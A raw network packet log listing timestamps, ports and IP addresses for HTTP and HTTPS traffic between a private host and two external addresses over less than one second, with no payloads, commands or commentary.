Nov 1, 2024 03:46:30.986869097 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:30.986958981 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.016244888 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016288996 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016302109 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016328096 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016417027 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016473055 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.016473055 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.016473055 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.016506910 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016520023 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016587019 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.016598940 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016611099 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016644955 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.016911030 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.016953945 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.017033100 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017045021 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017056942 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017102003 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.017102003 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.017257929 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017565012 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017577887 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017590046 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017601013 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017613888 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.017652035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.017724037 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017779112 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017786980 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017818928 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.017831087 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.017971992 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.103511095 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.103523970 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.103590012 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.129594088 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.129713058 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.129796028 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.132860899 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.132914066 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.132961988 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133035898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133049011 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133059978 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133106947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133106947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133106947 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133161068 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133197069 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133284092 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133418083 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133433104 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133445978 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133477926 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133528948 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133641005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133704901 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133716106 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133749008 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.133840084 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133851051 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.133896112 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.134138107 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134162903 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134176016 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134200096 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.134200096 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.134298086 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134310961 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134347916 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.134582043 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134627104 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.134656906 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134668112 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.134713888 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.134721994 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.136311054 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.171539068 CET	58538	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.171557903 CET	443	58538	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.179133892 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.179133892 CET	58539	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.179245949 CET	443	58539	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.190006018 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.190035105 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.190125942 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.190669060 CET	58540	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:31.190684080 CET	443	58540	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:31.249603033 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.249615908 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.249674082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.249677896 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.249677896 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.249685049 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.249718904 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.249784946 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.249842882 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.249854088 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.249875069 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.249910116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250010967 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250066042 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250072956 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250087976 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250160933 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250304937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250304937 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250377893 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250422955 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250441074 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250452042 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250500917 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250521898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250560045 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250722885 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250797033 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250809908 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250822067 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250859022 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250897884 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.250927925 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250943899 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250955105 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.250989914 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.251347065 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.251411915 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.251415968 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.251427889 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.251490116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.251549006 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.251560926 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.251571894 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.251600027 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.251616955 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.366498947 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366513014 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366525888 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366580963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366595030 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366595030 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.366667986 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.366667986 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.366702080 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366717100 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366728067 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.366759062 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.366759062 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.366769075 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.366961002 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367033005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367044926 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367079020 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.367126942 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367278099 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367331982 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.367347002 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367357969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367422104 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.367449999 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367460966 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367490053 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.367737055 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367784977 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367796898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367836952 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.367852926 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.367913961 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367954969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.367966890 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.368000031 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.368026972 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.368088007 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.368098974 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.368110895 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.368143082 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.368165970 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.368217945 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.368232965 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.368309975 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483164072 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483177900 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483196974 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483215094 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483253956 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483268976 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483300924 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483300924 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483331919 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483342886 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483386993 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483469963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483513117 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483534098 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483545065 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483623981 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483671904 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483738899 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483751059 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483787060 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483808041 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.483818054 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.483941078 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484036922 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484050035 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484050035 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484092951 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484092951 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484164000 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484220028 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484231949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484272003 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484287977 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484292984 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484421015 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484482050 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484493971 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484502077 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484525919 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484559059 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484607935 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484620094 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484671116 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484826088 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484879017 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484891891 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.484925985 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484945059 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.484970093 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.488120079 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.527194023 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.527204037 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.527271986 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.599996090 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600035906 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600047112 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600060940 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600085974 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600095987 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600095987 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600152016 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600162983 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600173950 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600223064 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600223064 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600298882 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600347996 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600358963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600431919 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600488901 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600517035 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600528955 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600616932 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600616932 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600632906 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600644112 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600770950 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.600915909 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600928068 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600938082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.600991964 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601031065 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601041079 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601052999 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601078987 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601089001 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601164103 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601180077 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601217985 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601217985 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601419926 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601475000 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601486921 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601516008 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601562977 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601593018 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601604939 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601615906 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601628065 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601640940 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601665020 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.601794958 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.601844072 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.692967892 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.692981005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.693078995 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.717186928 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717200041 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717281103 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.717344046 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717502117 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717514038 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717525005 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717538118 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717573881 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.717573881 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.717603922 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.717667103 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717679977 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717727900 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.717839003 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717854023 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717866898 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.717890978 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.717915058 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718019962 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718208075 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718220949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718230963 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718276024 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718276024 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718388081 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718400002 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718410969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718424082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718435049 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718458891 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718506098 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718519926 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718565941 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718704939 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718717098 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718733072 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.718771935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.718771935 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.719013929 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.719058037 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.719203949 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.719218016 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.719247103 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.719274044 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.719376087 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.719393969 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.719407082 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.719418049 CET	80	58536	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:31.719463110 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.719463110 CET	58536	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:31.808743954 CET	443	58540	188.114.97.3	192.168.2.6
